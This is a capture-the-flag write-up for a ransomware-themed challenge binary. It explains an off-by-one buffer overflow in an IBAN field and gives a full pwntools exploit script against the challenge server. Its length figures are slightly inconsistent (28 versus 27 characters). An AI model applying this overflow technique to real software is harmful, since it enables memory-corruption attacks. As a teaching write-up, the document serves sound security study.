The Challenge

A ransomware simulator. You navigate a menu: choose option 1 to pay, enter a payment ID, then enter an IBAN. The IBAN validation checks the first 28 bytes but the buffer holding it is 49 bytes wide — there are 21 unused bytes after a valid IBAN before you hit adjacent memory.

Approach

The field accepts a full IBAN (28 chars) plus extra bytes. The extra bytes spill into memory that controls the payment outcome. The byte \x03 at offset 49 flips the payment success condition.

I had to figure out the exact length: a real IBAN like IT70S0501811800000012284030 is 27 characters. Padding to 49 bytes and appending \x03 fills the buffer and writes the control byte at the right offset.

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *

if args.REMOTE:
    r = remote('dogeransom.challs.olicyber.it', 10804)
else:
    r = gdb.debug('./dogeRansom', '''
       b *main
       continue   
    ''')

r.recvuntil('\n\n> ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(b'1')
r.recvuntil(b': ')
r.sendline(b'IT70S0501811800000012284030\x00' + b'A' * (49-28) + b'\x03')
r.interactive()

IT70S0501811800000012284030 is the valid IBAN (27 chars + \x00 null). Then b'A' * 21 fills the remaining legitimate buffer space. Finally \x03 overflows one byte past the end into whatever variable guards the success check. The binary sees a valid payment confirmed and prints the flag.

What I Learned

Off-by-one and slightly-too-large buffers are often more dangerous than huge overflows. When a field accepts “any data up to N bytes” and the adjacent memory is a status flag rather than a return address, you don’t need ROP — you just need to know the distance and pick the right byte value.